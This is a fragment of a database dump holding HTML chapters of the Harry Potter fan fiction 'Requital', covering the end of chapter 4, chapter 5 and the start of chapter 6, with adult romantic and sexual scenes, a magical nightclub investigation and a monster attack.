beautifully freckled arms clung to him, as she had \n  done so many nights before.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She came to him for this.&nbsp; \n  To feel loved again.&nbsp; For relief from the cares of her ever-changing world.&nbsp; \n  This is familiar to her.&nbsp; This is safe.&nbsp; They have been here before.&nbsp; \n  They have stepped across the lines so clearly drawn around them defining what \n  they can&#8230;and cannot&#8230;be.&nbsp; He promised himself he wouldn&#8217;t do it again, but \n  he knew he would.&nbsp; His father was in the room above theirs.&nbsp; Why did \n  she keep risking this?</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ginny&#8230;&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shhhh&#8230;&#8221; she said.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He tried to make sense of \n  it.&nbsp; To her it made perfect sense.&nbsp; She knew he was powerless over \n  her when she stared up at him with her round blue eyes and red lips.&nbsp; It \n  was torture to him.&nbsp; Things were different now.&nbsp; He was no longer \n  at school and they couldn&#8217;t play those games they used to play.&nbsp; They had \n  simply sworn each other to secrecy then, when things were less complicated.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She let her fingers dance \n  on his neck, snuggling into the crook of his arm.&nbsp; His bed was always so \n  warm, so familiar.&nbsp;&nbsp; His hands were on her thighs, beckoning them \n  to open for him&#8230;to let him inside again.</p>\n\n\n'),
	(90, 5, '\n\n\n\n\n\n\n\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n\n<p>Rating: R- (edited version). &nbsp;Full\nNC17 version on www.portkey.org.</p>\n\n<p>Ships: H/Hr</p>\n\n<p>Type: Angst\\ Romance</p>\n\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest\nloss, finding her own voice and strength, and coming of age in a world battered\nby a never-ending war.</p>\n\n<p><b><i>Disclaimer: No profits are\nbeing made off the fiction on these pages. Harry Potter, associated characters\nand the associated Harry Potter universe is &#169; J. K. Rowling and respective\npublishers. Fanfiction is fiction--it is not meant to be taken seriously in the\nleast.</i></b></p>\n\n<p><i>A/N : Cirque du Sorcieres&nbsp; = Sorcerer&#8217;s Circus</i></p>\n\n<p><u>Chapter 5</u><b> - </b>Cirque du Sorcieres</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;\nHermione decided to walk around the dimly lit room, with no destination in mind\nwhatsoever. They had two hours until they were to meet Harry and Ron.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She would steal the\noccasional glance at Cho and Locust.&nbsp; The round man sat, intense and\nhardened, like a statue made of stone.&nbsp; Cho could not seem to pry his\nporphyritic fingers from her thighs, and resigned herself to staring off into\nthe flickering lights above the crowd.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;\nHermione found another table then.&nbsp;&nbsp; The current occupants were\nfiring off rude quips and nonsensical anecdotes.&nbsp; She couldn&#8217;t catch onto the thread of their conversation.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;The show will start soon enough. &nbsp;I\nsuppose you can sit here, &#8220; a heavy woman grumbled, giving Hermione the once\nover.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The woman&#8217;s rude charity\naside, Hermione was tempted to resort to her learned manners, but decided it\nwould only be misplaced in her current environment.&nbsp; She licked her lips\ninstead, acknowledging the invitation with a glance.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What show?&#8221; Hermione\nquestioned.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her answer was the roar of\nsudden and unexpected applause from the crowd, most of whom had attended this\nevent before.&nbsp; Hermione locked eyes with Cho, who mirrored her expression\nof surprise.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The lights fell even\ndarker now, and tiny explosions erupted from every corner of the room.&nbsp;\nLaughter and some screams escaped her fellow onlookers.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Where was Cho?</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her fear was only\novershadowed by her sense of wonder.&nbsp; There was a swirl of smoke now and\nit smelled like heaven to her, like everything desirable she had ever\nknown.&nbsp; She clutched the side of her chair, saliva filling the inside of a\nmouth that suddenly felt thirsty. &nbsp;What was this?&nbsp; What was happening\nto her?&nbsp; Some people seemed frozen.&nbsp; Others were writhing in\necstasy.&nbsp;&nbsp; Hermione could not suppress her own moans.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It ended as quickly as it\ncame, and a pool of light flooded a tiny spot at the front of the room. &nbsp;A\nman who stood almost as tall as the ceiling was illuminated by it. </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Welcome, friends, to our\nprivate show.&nbsp; We desire nothing more than your pleasure&#8230;and of course\nyour fortune.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Laughter.&nbsp; Applause.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; His voice was oily and\nwheedling, as he raised his gloved hand to them, bellowing out an incantation\nHermione didn&#8217;t recognize.&nbsp; His face looked almost childlike, but his body\nwas frail and battered.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; All the inventions of her\nimagination came to her now, her past and her future, playing out like a movie\nbeing watched through a kaleidoscope designed by a madman.&nbsp; It was all in\ndisarray.&nbsp; She struggled to break the trance, needing to know if the\nothers were seeing the same.&nbsp; Hermione heard the woman beside her cry out\nin agony.&nbsp; Some others were snickering like children.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to pray to\nthe God that had so recently forsaken her.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The man was laughing at\nthem all now.&nbsp; She quietly whispered any and all counter curses she\ncould.&nbsp; Nothing helped.&nbsp; She struggled to block her visions enough to\nlook for Cho.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; And there she was, sitting\nbehind the ringmaster of this circus.&nbsp; Cho was in a trance, and the\nmaterial of her blue dress rose and fell with each labored breath she\ntook.&nbsp; Hermione panicked as the man went to touch Cho&#8217;s head, stroking her\nhair back.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione couldn&#8217;t break\nfree.&nbsp; She couldn&#8217;t move.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; There stood Locust now,\nwearing an ornate powdered wig and a dressing gown.&nbsp; He was babbling to\nhimself, and the room erupted with a brilliant flash.&nbsp; The transfixion was\ngone, momentarily throwing them all into the harshness of reality, like walking\ninto fluorescent light after spending the night under a blackened sky.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho rose into the air like\nan angel falling up.&nbsp;&nbsp; Her arms were spread out, and her eyes were\nopen and glazed over.&nbsp; There were rising murmurs throughout the frenzied\ncrowd.&nbsp; Locust smiled a toothy sneer from ear to ear, his voice calling\nout another wicked incantation.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Another spell she\ndidn&#8217;t recognize.&nbsp; She tore her eyes away from her friend long enough to\nsee his victims fall to him.&nbsp; The Muggles were flooded with\nemotions.&nbsp; Some were crying out in joy, others sobbing onto their\ntables.&nbsp; She struggled not to be completely affected.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ivan&#8217;s eyes locked on\nher.&nbsp; He must have noticed her calmness.&nbsp; Hermione erupted in false\ntears and he looked away, satisfied with her impromptu performance.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust and the other man\nwalked through the room now, touching each person on the head as if they were\noffering them eternal salvation. &nbsp;When they were touched, the person would\nfall into a silent stare, free from any feeling at all.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione held her breath\nas the ringmaster touched her forehead.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; There was no pain, there\nwas only blackness and a calm she had never known.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When Hermione opened her\neyes, she was sitting next to Cho at the main bar near the entrance of the\nclub.&nbsp; Cho was clutching Hermione&#8217;s trembling hand.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8230;we need to leave,&#8221; Cho\nsaid.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The club was more alive\nthen ever, and as they headed for the door, Hermione recognized some of the\nfaces.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione suddenly didn&#8217;t\nwant to go.&nbsp; She pulled back at Cho.&nbsp; She wanted to stay and be there\namong them, dancing her life away.&nbsp; She wanted&#8230;no, <i>needed</i>&#8230;to feel\nthose things again.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I feel it too, but fight it.&nbsp; Concentrate, Hermione,&#8221; Cho whispered with\ntears streaming down her face, pulling Hermione closer to the\ndoor.&nbsp;&nbsp;&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione made her legs\nfollow Cho.&nbsp; Cho groaned when she opened the door.&nbsp; There was the\nAsian man.&nbsp; He had made it outside, but he couldn&#8217;t seem to let go of the\ndoor.&nbsp; Hermione reached out and touched his arm.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She freed him, and he\nstumbled backwards, surprised and frightened.&nbsp; The pull grew weaker as\nthey walked further away from the club.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She and Cho were holding\nonto each other now, staggering towards the street filled with laughing\nMuggles, so blissfully unaware that they were anything but intoxicated.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They arrived at the\npancake house looking like a pair of streetwalkers who had more than filled\ntheir quota for the night.&nbsp; Ron stood and motioned to them.&nbsp; Hermione\nsaw relief wash over Harry&#8217;s face, his green eyes closing momentarily, and then\nlooking thoughtfully into her own.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They sat down at the round\ntable.&nbsp; Neville wasn&#8217;t there.&nbsp; Hermione had been so busy keeping an\neye out for Cho, she hadn&#8217;t even noticed when they had lost sight of him.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was hoping everyone\nwould be here by now,&#8221; Harry said.&nbsp; Hermione could tell he was slightly\nworried.&nbsp; &#8220;We&#8217;ll start now anyway, I&#8217;ll try to reach Neville later.&nbsp;\nHe probably couldn&#8217;t find an opportunity to leave.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;\nHermione hoped that was all.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho spoke first, while\nHermione stared out of the window.&nbsp; Her reflection in the glass seemed haggard.&nbsp;\nShe felt drained.&nbsp; Cho told her story.&nbsp; Hermione concurred.&nbsp; It\nwas obvious what was happening at Club Mistress, but that left them with more\nquestions.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why isn&#8217;t it that we\nhaven&#8217;t detected the use of Dark Magic down there?&nbsp; Wizards have disguised\nthemselves as magicians before, it certainly isn&#8217;t original, but it never goes\nundetected,&#8221; Ron said. &nbsp;&#8220;And I&#8217;d think\nwith magic being used as powerful as that it&#8217;d be impossible to hide as long as\nthey&#8217;ve managed to.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My informant says that\nclub has been there for ages.&nbsp; Hermione, did you recognize any spells\nused?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I couldn&#8217;t\nrecognize any except an overly dramatic version of <i>Wingardium Leviosa</i>.&nbsp;\nThe spells were so powerful that I could barely fight them.&nbsp; I didn&#8217;t\nrecognize them, and I&#8217;ve studied thousands&#8230;&#8221; she began.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho looked down at the\nfloor, nodding her head.&nbsp; She hadn&#8217;t recognized the spells either.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll need you to play\nresearcher in the two days we have off, Hermione.&nbsp; We need to know what\nwe&#8217;re up against.&nbsp; If you and Cho couldn&#8217;t fight it off, it&#8217;s got to be\npretty powerful magic.&nbsp; Especially if it affected a room full of\npeople.&nbsp; Even Muggles have at least some powers of resistance.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione exhaled.&nbsp;\nShe was nauseated from hunger now.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry put his arm around\nher, drawing her head to his chest, like he had done a million times\nbefore.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron and Cho exchanged a\nquick glance, and then looked away as if caught in the middle of an indecent\nthought.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll meet with Arthur\nbefore our next move.&nbsp; Are there any questions we haven&#8217;t answered tonight\nthat need to be discussed before our meeting?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled away from\nhim and laid her head down on the table.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her companions eyed her\nwith contemplative stares, expecting one of her infamous monologues filled with\nthought-provoking inquiries.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where the fuck are\nmy pancakes?&#8221;</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco had left her lying\non the gray satin sheets that covered his bed.&nbsp; Ginny rolled over onto her\nback.&nbsp; Her freckled skin was damp and pink.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He came back into\nthe room now, wearing white shorts and nothing else.&nbsp; He had combed his\nglassy blonde hair, and she could smell the soap from his shower.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She regretted the later,\ninhaling his scent from his pillow.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have to go Ginny.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He came forward now, and\nkissed her neck.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Goodbye.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She understood.&nbsp; They\nnever had this time together.&nbsp; They never had time to just hold each\nother.&nbsp; She had learned not to need it.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco put his mouth on\nhers, sucking in her breath, tasting her one more time.&nbsp; She pulled away\nfrom him, leaving him wanting more.&nbsp; She had played this game too long not\nto know the rules at this point.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She stood to dress and he\nwatched her.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He hated that he needed\nher.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She casually opened the\ndoor to the tunnel, and walked out.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He would have cried for\nthe pain of it, had not remembrance of her flesh sustained him.&nbsp; Later she\nwould find him.&nbsp; Or he would find her.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione Granger had\nabandoned all reason.&nbsp; She hadn&#8217;t slept in nearly twenty-four hours and\nwhat little she chose to say seemed strained or incoherent.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron had walked\nher and Cho home, thinking it too risky to apparate after what they had just\nbeen through.&nbsp; Harry mumbled something about them both needing to see\nMinistry medics to be sure they were free of any lingering spells.&nbsp; She\nwas unconcerned.&nbsp; The lure of the club was completely gone now.&nbsp; Cho\nand Ron had taken a short walk after falling into a lengthy discussion about\nQuidditch.&nbsp; Hermione was jealous of Cho&#8217;s stamina, but was grateful for\nthe opportunity to be alone with Harry.&nbsp; She hadn&#8217;t even realized she had wanted\nto be until they suddenly were.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione let her hand fall\nto Harry&#8217;s chest, running her fingers up and down.&nbsp; She was so tired she\nwas delirious, wanting desperately to give into her current lack of impulse\ncontrol.&nbsp; She searched his eyes.&nbsp; It was there, as clear as the night\nsky.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stay with me,\nHarry.&nbsp; Stay here.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; At first he didn&#8217;t\nunderstand her.&nbsp; His mind struggled not to wander in that direction,\nalthough by the increasing rhythm of his pulse, his body didn&#8217;t share his\nconcern.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you afraid to be here\nby yourself?&#8221; he said, giving her an out.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione let her lips\ngraze his neck.&nbsp; She felt him swallow.&nbsp; She was violating their\nunspoken pact.&nbsp;&nbsp; She felt his shock as he tensed up, momentarily unsure\nof how to respond to her gesture.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; His hand involuntarily\nmoved to her hair, stroking the unfamiliar red.&nbsp; When she lifted her face\nto his, he accepted her kiss.&nbsp; He had had moments before with her when he\nwas in danger of losing control, but he found himself becoming lost to her now.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re like a sister to\nme, Hermione,&#8221; he argued, firing one last desperate shot.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The longing in his voice\ncontradicted his words.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She covered his\nmouth again, coaxing his lips apart with her curious tongue.&nbsp; The\nremaining coating of her pink lipstick dissolved through their kissing, and he\nsaw that the skin of her unpainted lips were darker than he remembered.&nbsp;\nThey didn&#8217;t quite belong to her.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It was agreed then, as she\nled him to her room.&nbsp; They were surrendering to that particular war.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought that if\nshe and Harry ever ended up making love, they would magically fall\ntogether.&nbsp; But it was awkward at first, her lips were trembling, and\ndespite her brave advances, she was nervous.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He restrained his hands as\nthey stood against her door, caught up in each other&#8217;s mouths, separated from\nthe rest of the universe.&nbsp; She knew he wanted to give her a chance to back\nout.&nbsp; His body was rigid but she could feel his hardness rising up against\nher, betraying him.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry surrendered to her,\ngently pulling her body into closer contact with his.&nbsp; She embraced him\nback, allowing him to feel her.&nbsp;&nbsp; Their tongues darted around each\nother, slowing down and speeding up, drawing back, then hurrying on for more.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She loved to kiss him, she\nthought to herself, licking the tiny ridge under his lower lip.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Their bodies pressed into\none another, moving up and down.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Then he stopped.&nbsp;\nTaking her hand, he pulled her to the bed, laying back onto her pillows and\npulling her over him.&nbsp; He sought her tongue again, letting one hand reach\nout to cup her breast.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She shuddered at the\ncontact through the thinness of her halter-top.&nbsp; Slipping his hands\nunderneath, he brushed her erect nipples, running his fingers over them\ndelicately.&nbsp; Then he removed her shirt from her, nuzzling his head between\nher breasts, pillowing into her with a sweep of his head, taking as much of her\nbreast as he could into his mouth.&nbsp;&nbsp; She let her fingers run through\nhis hair and she moaned, feeling a connection between her breasts and the ache\nthat was growing between her thighs.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When he stopped, she\nsought his mouth strongly, falling into him and opening herself up to his eager\nlips.&nbsp; She groaned as she felt his hard cock through their clothes,\ndelighted...but almost alarmed by its hardness, her wetness, and the sudden\nurgency for this act to be complete.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Then his hand took hers,\ncupping it and pressing it against him for a moment.&nbsp; He sought for an\nanswer in her eyes.&nbsp; He got it, as she gently caressed him through his\njeans.&nbsp; Rolling her off of him for a moment, he rose to shed them.&nbsp;\nShe sat on the bed, taking in the sight of his body, nearly naked now, except\nfor his underwear.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He returned to her, gently\nstripping off her pants and moving her beneath him.&nbsp; Hermione opened her\nmouth to take his tongue inside her again, gulping him down with tiny sucking\nmotions.&nbsp; She thrust her hips up towards him and felt his strong hand move\nbelow the elastic of her panties, diving into her wetness.&nbsp; She gasped and\nraised her hips to meet his gentle strokes, sighing as a finger slipped\nexpertly in and out of her.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She began to kiss his\nface, his eyes, and his scar, tracing the rough skin with her tongue.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her hands pulled at his\nwaistband, wanting to return the favor, wanting to free him.&nbsp; He\nunderstood her cue and he was exposed to her now.&nbsp; Beautiful.&nbsp; Her\nbody loosened and lengthened below him as his hips settled in between her\nthighs.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When he entered her, she\nrelinquished everything she had ever imagined she might lay claim to in the\nworld, and bade farewell to herself.</p>\n\n<p style="line-height:150%">&nbsp; </p>\n\n\n\n\n\n\n'),
	(90, 6, '\n\n\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version). &nbsp;Full NC17 \n  version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p><b><i>Disclaimer: No profits are being \n  made off the fiction on these pages. Harry Potter, associated characters and \n  the associated Harry Potter universe is &#169; J. K. Rowling and respective publishers. \n  Fanfiction is fiction--it is not meant to be taken seriously in the least.</i></b></p>\n\n &nbsp; \n<u>Chapter 6 &#8211; Gods and Monsters</u>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; At 2:23 am, metal slammed against painted glass; \n  there was a gasp from his wife, and then the lights in the Goyle estate flickered \n  off.&nbsp;&nbsp;&nbsp; A familiar face hovered above the startled couple. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The man struggled against his captors, but they \n  managed to drag him through the doorway despite his pleas.&nbsp; On the way to the \n  long black car that was parked in his newly paved driveway, they laughed at \n  his misery, reminding him of his promises and his failure to keep them.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When they had reached their destination, they \n  left him alone in the only room he hadn&#8217;t visited before.&nbsp; They were hesitant \n  to enter it, shoving him forward and slamming the door behind him while they \n  held their breath.&nbsp; His nostrils burned with the foul odor.&nbsp;&nbsp;&nbsp; Rancid meat?&nbsp; \n  Sulfur?&nbsp; On an instinctual level, he knew what was about to come.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve served you to the best of my ability.&nbsp; \n  I swear it.&#8221; Gregory Goyle said, looking at the dark shadow that seemed to be \n  edging closer to him.&nbsp; Small streaks of weak light came from under the door.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Had his vision adjusted more quickly to the light, \n  he would have seen her pale dead eyes coming towards him.&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She struck his face, flailing him backwards.&nbsp; \n  He screamed. He turned to try to flee.&nbsp; It was in vain.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She laughed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;But you promised&#8230;&#8221; </i>she said, mimicking \n  the disappointed voice of a child.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He could feel her close to him.&nbsp; Part of him \n  wanted to see her, had to see her.&nbsp; But another part of him, knowing something \n  of the diabolical thing that she was, was grateful for the darkness.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She screeched and hissed, chattering in a language \n  he didn&#8217;t understand.&nbsp; He cried out again.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She came down on him, tearing into his flesh, \n  he struggled some, and then mouthed a pathetic plea, slumping to the ground \n  as she dragged him deeper into the dark.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She screeched again, happy to be able to feast \n  upon some magical flesh instead of her usual subsistence of mere Muggles.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville Longbottom was halfway out of the tunnel, \n  on his way to meet his companions at the pancake house, when he heard the hoarse \n  scream.&nbsp; It wasn&#8217;t shrill or piercing.&nbsp; It was a low and guttural cry that conveyed \n  stark terror.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He froze.&nbsp; Another scream. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He fought against being hit with blind panic.&nbsp; \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; There were sounds of a struggle, a loud thump, \n  and the slick movement of something being dragged across the ground.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Then something else screeched.&nbsp; It was an unholy, \n  inhuman sound that rattled his senses and left Neville slightly shaky.&nbsp; The \n  foul stench of the tunnel became even more unbearable and he quickened his pace \n  towards the door.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville reached out to turn the knob.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;I would think you&#8217;d like to at least stay for \n  breakfast.&nbsp; Perhaps get to learn your new position?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust Daviz stood behind him now.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Over the years, Neville had gained a reputation \n  for taking any job, regardless of how dangerous it was.&nbsp; But his fear now made \n  his legs weak.&nbsp;&nbsp; The way Locust stared at him&#8230;through him&#8230; was making his skin \n  crawl.&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220; Looking forward to it.&#8221;&nbsp; Neville said softly, \n  hoping his shaky response would go unnoticed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville reluctantly began the journey back \n  through the tunnel, hoping that soon he could contact Harry.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp; &#8220;Planning to spend the rest of the day in bed?&#8221; \n  Cho Chang asked, pulling the covers off of a soundly sleeping Hermione, almost \n  sending the startled girl scurrying for her wand.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione released a long sigh and pulled the \n  covers back over her head.&nbsp; Suddenly noticing she was in bed by herself, she \n  sat up again, looking around the room.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry already left.&nbsp; He had to meet his informant \n  and he didn&#8217;t want to wake you.&#8221; Cho explained.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione collapsed onto the bed and groaned.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You mean the bastard didn&#8217;t want to face me.&#8221; \n  Hermione muttered groggily.&nbsp; &#8220;So what time is it 